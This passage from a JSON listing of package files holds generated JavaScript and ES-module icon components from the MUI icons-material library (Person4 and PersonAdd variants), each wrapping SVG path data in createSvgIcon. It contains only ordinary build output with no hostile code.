    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.39 14.56C16.71 13.7 14.53 13 12 13s-4.71.7-6.39 1.56C4.61 15.07 4 16.1 4 17.22V20h16v-2.78c0-1.12-.61-2.15-1.61-2.66M12 12c2.21 0 4-1.79 4-4V4.5c0-.83-.67-1.5-1.5-1.5-.52 0-.98.27-1.25.67-.27-.4-.73-.67-1.25-.67s-.98.27-1.25.67c-.27-.4-.73-.67-1.25-.67C8.67 3 8 3.67 8 4.5V8c0 2.21 1.79 4 4 4\"\n}), 'Person4');"
  },
  {
    "path": "packages/mui-icons-material/lib/Person4Outlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.39 14.56C16.71 13.7 14.53 13 12 13s-4.71.7-6.39 1.56C4.61 15.07 4 16.1 4 17.22V20h16v-2.78c0-1.12-.61-2.15-1.61-2.66M18 18H6v-.78c0-.38.2-.72.52-.88C7.71 15.73 9.63 15 12 15s4.29.73 5.48 1.34c.32.16.52.5.52.88zm-6-6c2.21 0 4-1.79 4-4V4.5c0-.83-.67-1.5-1.5-1.5-.52 0-.98.27-1.25.67-.27-.4-.73-.67-1.25-.67s-.98.27-1.25.67c-.27-.4-.73-.67-1.25-.67C8.67 3 8 3.67 8 4.5V8c0 2.21 1.79 4 4 4m-2-6.5h4V8c0 1.1-.9 2-2 2s-2-.9-2-2z\"\n}), 'Person4Outlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/Person4Outlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.39 14.56C16.71 13.7 14.53 13 12 13s-4.71.7-6.39 1.56C4.61 15.07 4 16.1 4 17.22V20h16v-2.78c0-1.12-.61-2.15-1.61-2.66M18 18H6v-.78c0-.38.2-.72.52-.88C7.71 15.73 9.63 15 12 15s4.29.73 5.48 1.34c.32.16.52.5.52.88zm-6-6c2.21 0 4-1.79 4-4V4.5c0-.83-.67-1.5-1.5-1.5-.52 0-.98.27-1.25.67-.27-.4-.73-.67-1.25-.67s-.98.27-1.25.67c-.27-.4-.73-.67-1.25-.67C8.67 3 8 3.67 8 4.5V8c0 2.21 1.79 4 4 4m-2-6.5h4V8c0 1.1-.9 2-2 2s-2-.9-2-2z\"\n}), 'Person4Outlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/Person4Rounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.39 14.56C16.71 13.7 14.53 13 12 13s-4.71.7-6.39 1.56C4.61 15.07 4 16.1 4 17.22V18c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2v-.78c0-1.12-.61-2.15-1.61-2.66M12 12c2.21 0 4-1.79 4-4V4.5c0-.83-.67-1.5-1.5-1.5-.52 0-.98.27-1.25.67-.27-.4-.73-.67-1.25-.67s-.98.27-1.25.67c-.27-.4-.73-.67-1.25-.67C8.67 3 8 3.67 8 4.5V8c0 2.21 1.79 4 4 4\"\n}), 'Person4Rounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/Person4Rounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.39 14.56C16.71 13.7 14.53 13 12 13s-4.71.7-6.39 1.56C4.61 15.07 4 16.1 4 17.22V18c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2v-.78c0-1.12-.61-2.15-1.61-2.66M12 12c2.21 0 4-1.79 4-4V4.5c0-.83-.67-1.5-1.5-1.5-.52 0-.98.27-1.25.67-.27-.4-.73-.67-1.25-.67s-.98.27-1.25.67c-.27-.4-.73-.67-1.25-.67C8.67 3 8 3.67 8 4.5V8c0 2.21 1.79 4 4 4\"\n}), 'Person4Rounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/Person4Sharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.39 14.56C16.71 13.7 14.53 13 12 13s-4.71.7-6.39 1.56C4.61 15.07 4 16.1 4 17.22V20h16v-2.78c0-1.12-.61-2.15-1.61-2.66M12 12c2.21 0 4-1.79 4-4V4.5c0-.83-.67-1.5-1.5-1.5-.52 0-.98.27-1.25.67-.27-.4-.73-.67-1.25-.67s-.98.27-1.25.67c-.27-.4-.73-.67-1.25-.67C8.67 3 8 3.67 8 4.5V8c0 2.21 1.79 4 4 4\"\n}), 'Person4Sharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/Person4Sharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.39 14.56C16.71 13.7 14.53 13 12 13s-4.71.7-6.39 1.56C4.61 15.07 4 16.1 4 17.22V20h16v-2.78c0-1.12-.61-2.15-1.61-2.66M12 12c2.21 0 4-1.79 4-4V4.5c0-.83-.67-1.5-1.5-1.5-.52 0-.98.27-1.25.67-.27-.4-.73-.67-1.25-.67s-.98.27-1.25.67c-.27-.4-.73-.67-1.25-.67C8.67 3 8 3.67 8 4.5V8c0 2.21 1.79 4 4 4\"\n}), 'Person4Sharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/Person4TwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 10c1.1 0 2-.9 2-2V5.5h-4V8c0 1.1.9 2 2 2m5.48 6.34C16.29 15.73 14.37 15 12 15s-4.29.73-5.48 1.34c-.32.16-.52.5-.52.88V18h12v-.78c0-.38-.2-.72-.52-.88\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.39 14.56C16.71 13.7 14.53 13 12 13s-4.71.7-6.39 1.56C4.61 15.07 4 16.1 4 17.22V20h16v-2.78c0-1.12-.61-2.15-1.61-2.66M18 18H6v-.78c0-.38.2-.72.52-.88C7.71 15.73 9.63 15 12 15s4.29.73 5.48 1.34c.32.16.52.5.52.88zm-6-6c2.21 0 4-1.79 4-4V4.5c0-.83-.67-1.5-1.5-1.5-.52 0-.98.27-1.25.67-.27-.4-.73-.67-1.25-.67s-.98.27-1.25.67c-.27-.4-.73-.67-1.25-.67C8.67 3 8 3.67 8 4.5V8c0 2.21 1.79 4 4 4m-2-6.5h4V8c0 1.1-.9 2-2 2s-2-.9-2-2z\"\n}, \"1\")], 'Person4TwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Person4TwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 10c1.1 0 2-.9 2-2V5.5h-4V8c0 1.1.9 2 2 2m5.48 6.34C16.29 15.73 14.37 15 12 15s-4.29.73-5.48 1.34c-.32.16-.52.5-.52.88V18h12v-.78c0-.38-.2-.72-.52-.88\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.39 14.56C16.71 13.7 14.53 13 12 13s-4.71.7-6.39 1.56C4.61 15.07 4 16.1 4 17.22V20h16v-2.78c0-1.12-.61-2.15-1.61-2.66M18 18H6v-.78c0-.38.2-.72.52-.88C7.71 15.73 9.63 15 12 15s4.29.73 5.48 1.34c.32.16.52.5.52.88zm-6-6c2.21 0 4-1.79 4-4V4.5c0-.83-.67-1.5-1.5-1.5-.52 0-.98.27-1.25.67-.27-.4-.73-.67-1.25-.67s-.98.27-1.25.67c-.27-.4-.73-.67-1.25-.67C8.67 3 8 3.67 8 4.5V8c0 2.21 1.79 4 4 4m-2-6.5h4V8c0 1.1-.9 2-2 2s-2-.9-2-2z\"\n}, \"1\")], 'Person4TwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PersonAdd.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 12c2.21 0 4-1.79 4-4s-1.79-4-4-4-4 1.79-4 4 1.79 4 4 4m-9-2V7H4v3H1v2h3v3h2v-3h3v-2zm9 4c-2.67 0-8 1.34-8 4v2h16v-2c0-2.66-5.33-4-8-4\"\n}), 'PersonAdd');"
  },
  {
    "path": "packages/mui-icons-material/lib/PersonAdd.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 12c2.21 0 4-1.79 4-4s-1.79-4-4-4-4 1.79-4 4 1.79 4 4 4m-9-2V7H4v3H1v2h3v3h2v-3h3v-2zm9 4c-2.67 0-8 1.34-8 4v2h16v-2c0-2.66-5.33-4-8-4\"\n}), 'PersonAdd');"
  },
  {
    "path": "packages/mui-icons-material/lib/PersonAddAlt.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 8c0-2.21-1.79-4-4-4S5 5.79 5 8s1.79 4 4 4 4-1.79 4-4m-2 0c0 1.1-.9 2-2 2s-2-.9-2-2 .9-2 2-2 2 .9 2 2M1 18v2h16v-2c0-2.66-5.33-4-8-4s-8 1.34-8 4m2 0c.2-.71 3.3-2 6-2 2.69 0 5.78 1.28 6 2zm17-3v-3h3v-2h-3V7h-2v3h-3v2h3v3z\"\n}), 'PersonAddAlt');"
  },
  {
    "path": "packages/mui-icons-material/lib/PersonAddAlt.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 8c0-2.21-1.79-4-4-4S5 5.79 5 8s1.79 4 4 4 4-1.79 4-4m-2 0c0 1.1-.9 2-2 2s-2-.9-2-2 .9-2 2-2 2 .9 2 2M1 18v2h16v-2c0-2.66-5.33-4-8-4s-8 1.34-8 4m2 0c.2-.71 3.3-2 6-2 2.69 0 5.78 1.28 6 2zm17-3v-3h3v-2h-3V7h-2v3h-3v2h3v3z\"\n}), 'PersonAddAlt');"
  },
  {
    "path": "packages/mui-icons-material/lib/PersonAddAlt1.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 8c0-2.21-1.79-4-4-4S5 5.79 5 8s1.79 4 4 4 4-1.79 4-4m2 2v2h3v3h2v-3h3v-2h-3V7h-2v3zM1 18v2h16v-2c0-2.66-5.33-4-8-4s-8 1.34-8 4\"\n}), 'PersonAddAlt1');"
  },
  {
    "path": "packages/mui-icons-material/lib/PersonAddAlt1.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 8c0-2.21-1.79-4-4-4S5 5.79 5 8s1.79 4 4 4 4-1.79 4-4m2 2v2h3v3h2v-3h3v-2h-3V7h-2v3zM1 18v2h16v-2c0-2.66-5.33-4-8-4s-8 1.34-8 4\"\n}), 'PersonAddAlt1');"
  },
  {
    "path": "packages/mui-icons-material/lib/PersonAddAlt1Outlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 8c0-2.21-1.79-4-4-4S5 5.79 5 8s1.79 4 4 4 4-1.79 4-4m-2 0c0 1.1-.9 2-2 2s-2-.9-2-2 .9-2 2-2 2 .9 2 2M1 18v2h16v-2c0-2.66-5.33-4-8-4s-8 1.34-8 4m2 0c.2-.71 3.3-2 6-2 2.69 0 5.78 1.28 6 2zm17-3v-3h3v-2h-3V7h-2v3h-3v2h3v3z\"\n}), 'PersonAddAlt1Outlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PersonAddAlt1Outlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 8c0-2.21-1.79-4-4-4S5 5.79 5 8s1.79 4 4 4 4-1.79 4-4m-2 0c0 1.1-.9 2-2 2s-2-.9-2-2 .9-2 2-2 2 .9 2 2M1 18v2h16v-2c0-2.66-5.33-4-8-4s-8 1.34-8 4m2 0c.2-.71 3.3-2 6-2 2.69 0 5.78 1.28 6 2zm17-3v-3h3v-2h-3V7h-2v3h-3v2h3v3z\"\n}), 'PersonAddAlt1Outlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PersonAddAlt1Rounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"9\",\n  cy: \"8\",\n  r: \"4\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 14c-2.67 0-8 1.34-8 4v1c0 .55.45 1 1 1h14c.55 0 1-.45 1-1v-1c0-2.66-5.33-4-8-4m11-4V7h-2v3h-3v2h3v3h2v-3h3v-2z\"\n}, \"1\")], 'PersonAddAlt1Rounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PersonAddAlt1Rounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"9\",\n  cy: \"8\",\n  r: \"4\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 14c-2.67 0-8 1.34-8 4v1c0 .55.45 1 1 1h14c.55 0 1-.45 1-1v-1c0-2.66-5.33-4-8-4m11-4V7h-2v3h-3v2h3v3h2v-3h3v-2z\"\n}, \"1\")], 'PersonAddAlt1Rounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PersonAddAlt1Sharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 8c0-2.21-1.79-4-4-4S5 5.79 5 8s1.79 4 4 4 4-1.79 4-4m2 2v2h3v3h2v-3h3v-2h-3V7h-2v3zM1 18v2h16v-2c0-2.66-5.33-4-8-4s-8 1.34-8 4\"\n}), 'PersonAddAlt1Sharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PersonAddAlt1Sharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 8c0-2.21-1.79-4-4-4S5 5.79 5 8s1.79 4 4 4 4-1.79 4-4m2 2v2h3v3h2v-3h3v-2h-3V7h-2v3zM1 18v2h16v-2c0-2.66-5.33-4-8-4s-8 1.34-8 4\"\n}), 'PersonAddAlt1Sharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PersonAddAlt1TwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"9\",\n  cy: \"8\",\n  r: \"2\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 16c-2.7 0-5.8 1.29-6 2h12c-.22-.72-3.31-2-6-2\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 14c-2.67 0-8 1.34-8 4v2h16v-2c0-2.66-5.33-4-8-4m-6 4c.2-.71 3.3-2 6-2 2.69 0 5.78 1.28 6 2zm17-8V7h-2v3h-3v2h3v3h2v-3h3v-2zM9 12c2.21 0 4-1.79 4-4s-1.79-4-4-4-4 1.79-4 4 1.79 4 4 4m0-6c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2\"\n}, \"2\")], 'PersonAddAlt1TwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PersonAddAlt1TwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"9\",\n  cy: \"8\",\n  r: \"2\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 16c-2.7 0-5.8 1.29-6 2h12c-.22-.72-3.31-2-6-2\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 14c-2.67 0-8 1.34-8 4v2h16v-2c0-2.66-5.33-4-8-4m-6 4c.2-.71 3.3-2 6-2 2.69 0 5.78 1.28 6 2zm17-8V7h-2v3h-3v2h3v3h2v-3h3v-2zM9 12c2.21 0 4-1.79 4-4s-1.79-4-4-4-4 1.79-4 4 1.79 4 4 4m0-6c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2\"\n}, \"2\")], 'PersonAddAlt1TwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PersonAddAltOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 9V6h-2v3h-3v2h3v3h2v-3h3V9zM9 12c2.21 0 4-1.79 4-4s-1.79-4-4-4-4 1.79-4 4 1.79 4 4 4m0-6c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2m6.39 8.56C13.71 13.7 11.53 13 9 13s-4.71.7-6.39 1.56C1.61 15.07 1 16.1 1 17.22V20h16v-2.78c0-1.12-.61-2.15-1.61-2.66M15 18H3v-.78c0-.38.2-.72.52-.88C4.71 15.73 6.63 15 9 15s4.29.73 5.48 1.34c.32.16.52.5.52.88z\"\n}), 'PersonAddAltOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PersonAddAltOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 9V6h-2v3h-3v2h3v3h2v-3h3V9zM9 12c2.21 0 4-1.79 4-4s-1.79-4-4-4-4 1.79-4 4 1.79 4 4 4m0-6c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2m6.39 8.56C13.71 13.7 11.53 13 9 13s-4.71.7-6.39 1.56C1.61 15.07 1 16.1 1 17.22V20h16v-2.78c0-1.12-.61-2.15-1.61-2.66M15 18H3v-.78c0-.38.2-.72.52-.88C4.71 15.73 6.63 15 9 15s4.29.73 5.48 1.34c.32.16.52.5.52.88z\"\n}), 'PersonAddAltOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PersonAddAltRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.39 14.56C13.71 13.7 11.53 13 9 13s-4.71.7-6.39 1.56C1.61 15.07 1 16.1 1 17.22V20h16v-2.78c0-1.12-.61-2.15-1.61-2.66M9 12c2.21 0 4-1.79 4-4s-1.79-4-4-4-4 1.79-4 4 1.79 4 4 4m11-3V7c0-.55-.45-1-1-1s-1 .45-1 1v2h-2c-.55 0-1 .45-1 1s.45 1 1 1h2v2c0 .55.45 1 1 1s1-.45 1-1v-2h2c.55 0 1-.45 1-1s-.45-1-1-1z\"\n}), 'PersonAddAltRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PersonAddAltRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.39 14.56C13.71 13.7 11.53 13 9 13s-4.71.7-6.39 1.56C1.61 15.07 1 16.1 1 17.22V20h16v-2.78c0-1.12-.61-2.15-1.61-2.66M9 12c2.21 0 4-1.79 4-4s-1.79-4-4-4-4 1.79-4 4 1.79 4 4 4m11-3V7c0-.55-.45-1-1-1s-1 .45-1 1v2h-2c-.55 0-1 .45-1 1s.45 1 1 1h2v2c0 .55.45 1 1 1s1-.45 1-1v-2h2c.55 0 1-.45 1-1s-.45-1-1-1z\"\n}), 'PersonAddAltRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PersonAddAltSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.39 14.56C13.71 13.7 11.53 13 9 13s-4.71.7-6.39 1.56C1.61 15.07 1 16.1 1 17.22V20h16v-2.78c0-1.12-.61-2.15-1.61-2.66M9 12c2.21 0 4-1.79 4-4s-1.79-4-4-4-4 1.79-4 4 1.79 4 4 4m11-3V6h-2v3h-3v2h3v3h2v-3h3V9z\"\n}), 'PersonAddAltSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PersonAddAltSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.39 14.56C13.71 13.7 11.53 13 9 13s-4.71.7-6.39 1.56C1.61 15.07 1 16.1 1 17.22V20h16v-2.78c0-1.12-.61-2.15-1.61-2.66M9 12c2.21 0 4-1.79 4-4s-1.79-4-4-4-4 1.79-4 4 1.79 4 4 4m11-3V6h-2v3h-3v2h3v3h2v-3h3V9z\"\n}), 'PersonAddAltSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PersonAddAltTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"9\",\n  cy: \"8\",\n  r: \"2\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.48 16.34C13.29 15.73 11.37 15 9 15s-4.29.73-5.48 1.34c-.32.16-.52.5-.52.88V18h12v-.78c0-.38-.2-.72-.52-.88\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 12c2.21 0 4-1.79 4-4s-1.79-4-4-4-4 1.79-4 4 1.79 4 4 4m0-6c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2m11 3V6h-2v3h-3v2h3v3h2v-3h3V9zm-4.61 5.56C13.71 13.7 11.53 13 9 13s-4.71.7-6.39 1.56C1.61 15.07 1 16.1 1 17.22V20h16v-2.78c0-1.12-.61-2.15-1.61-2.66M15 18H3v-.78c0-.38.2-.72.52-.88C4.71 15.73 6.63 15 9 15s4.29.73 5.48 1.34c.32.16.52.5.52.88z\"\n}, \"2\")], 'PersonAddAltTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PersonAddAltTwoTone.mjs",
